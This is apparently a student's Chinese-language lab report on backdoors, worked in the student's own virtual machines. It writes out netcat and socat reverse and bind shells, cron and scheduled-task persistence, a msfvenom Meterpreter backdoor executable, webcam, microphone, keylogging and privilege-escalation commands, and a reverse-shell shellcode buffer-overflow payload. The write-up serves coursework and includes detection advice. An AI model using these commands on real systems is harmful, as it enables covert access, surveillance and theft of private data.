Exp2-后门原理与实践

Exp2-后门原理与实践

一、实验内容

(4分+2分附加题)

(1)使用netcat获取主机操作Shell,cron启动 (1分)

(2)使用socat获取主机操作Shell, 任务计划启动 (1分)

(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)

(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (1分)

(5)可选加分内容

二、基础知识

后门:不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
常用工具:NC和Netcat、SoCat、Meterpreter等

三、实验过程

(一)使用netcat获取主机操作Shell,cron启动

1.kali获取windows虚拟机的shell

(1)查看kali虚拟机的IP地址
windows:ipconfig

kali:ifconfig

windows ip为:192.168.101.85(热点下为192.168.43.87)
kali ip为:192.168.64.130

(2)在kali虚拟机中开启监听,端口号以学号为基础指定

在主机中使用 ncat.exe -l -p 1213(个人学号后四位)监听本机的1213端口

(3)在虚拟机中使用nc 192.168.101.85(主机IP) 1213 -e /bin/sh连接主机反弹shell

(4)成功getshell

2.Windows获取kali虚拟机的shell

(1)在虚拟机中用nc -l -p 1213监听主机1213端口
(2)在主机中用ncat -e cmd 192.168.101.123(桥接模式虚拟机ip) 1213,成功获取到主机shell


3.在虚拟机中启动cron并在主机监听

(1)先在虚拟机上用crontab -e指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)


在最后一行添加55 * * * * nc 192.168.101.85 1213 -e /bin/sh,即在每个小时的第55分钟反向连接Windows主机的1213端口(等学号13的端口时间太长了)

(2)等到每小时的55分,在ip地址为192.168.101.85的主机端用ncat -l -p 1213打开监听


在主机成功获取虚拟机的shell

(二)使用socat获取主机操作Shell,任务计划启动

1.在Windows获得Linux Shell

(1)在Kali中用man socat查看使用说明

(2)在Windows中按Win+R,再输入compmgmt.msc打开计算机管理

(3)设置任务名称、新建触发器

(4)新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1213 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1213,同时把cmd.exe的stderr重定向

(5)设置好后将电脑锁屏,解锁后由于Windows防火墙如果没关会弹出UAC警告,说明之前设置成功
(6)在Kali中输入命令socat - tcp:192.168.43.87:1213(连接热点时的主机ip)


成功获取Windows的Shell

(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1.在Kali上生成后门可执行程序20191213_backdoor.exe

输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.130 LPORT=1213 -f exe > 20191213_backdoor.exe

2.在Windows上打开监听

3.在Kali上用nc 192.168.101.85 1213 < 20191213_backdoor.exe将生成的20191213_backdoor.exe后门程序传过去

4.在kali上使用msfconsole指令进入msf控制台

对msf控制台进行配置,依次输入以下命令

use exploit/multi/handler		#使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp		#使用和生成后门程序时相同的payload
set LHOST 192.168.64.130			#Kali ip
set LPORT 1213                                  #学号端口 

5.输入exploit进行监听,第一行出现后在Windows主机双击20191213_backdoor.exe后成功获取到Windows的shell

(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1.获取目标主机音频

在之前进入的MSF exploit中输入record_mic指令进行录音(-d可设置时长)

2.获取目标主机摄像头

输入webcam_snap指令控制摄像头进行拍照

3.获取击键记录

输入keyscan_start开始捕获键盘记录,keyscan_dump获取击键记录(-d可设置时长)

4.截取主机屏幕

使用screenshot指令可以进行截屏

5.尝试提权

getsystem

(五)加分项:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

首先关闭地址随机化并设置堆栈可执行:

参考陈发强同学的博客,输入:msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=172.16.210.44 LPORT=1213 -f c
获得shellcode:

\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xac\x10\xd2\x2c\x66\x68\x04\xbd\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1

结合exp1中找到的pwn1的返回地址(我的是0xffffd190),加在shellcode开头,再在上覆盖缓冲区的随意字符,在Kali上生成shellcode并用如下代码:perl -e 'print "A" x 32; print"\x90\xd1\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xac\x10\xd2\x2c\x66\x68\x04\xbd\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>input 生成input,然后再按照之前的方法设置msf控制台
在一终端运行pwn1,另一终端用msfexploit监听,攻击成功:

四、基础问题回答

1、例举你能想到的一个后门进入到你系统中的可能方式?

在非官方网站上下载一个同样名字的文件,在Windows询问是否允许本次操作点击允许之后可能就被植入了后门程序。

2、例举你知道的后门如何启动起来(win及linux)的方式?

  • 修改系统配置
    创建定时触发任务,添加启动项
    修改默认的Shell程序
  • 用户运行了带有后面的exe可执行程序
  • 利用远程控制软件启动

3、Meterpreter有哪些给你映像深刻的功能?

录像和录音 这两个功能太狠了,等于使用设备时随时处在攻击者的监控之下

4、如何发现自己有系统有没有被安装后门?

  • 打开杀毒软件定时进行检查
  • 查看任务计划程序、开机自启动项中有没有被设置奇怪触发条件的任务
  • 查看有没有平常不用却异常开启的端口

五、实验心得

本次实验让我感受到后门程序植入的危险性,很可能一不小心点击下载了一个未经安全验证的exe执行程序,并且在某一天心血来潮点开看看之后就被设置了启动后门的条件,可以随时触发我电脑上的后门,并且获得我的摄像头、音频、电脑文件和键盘输入等隐私信息,可能在不知不觉中就盗取了我很多的个人信息,从而带来严重的损失。这也提醒我没事的时候还是可以把杀毒软件打开,避免一些后门程序的植入,对于本次实验的后门程序,在杀毒软件没有关闭的情况下,会提示我不能运行,也是一种防范措施。通过这次实验,对于植入后门的技术和相应的安全背景也有了一定了解。

posted @ 2022-03-29 14:56  20191213兰毅达  阅读(101)  评论(0编辑  收藏  举报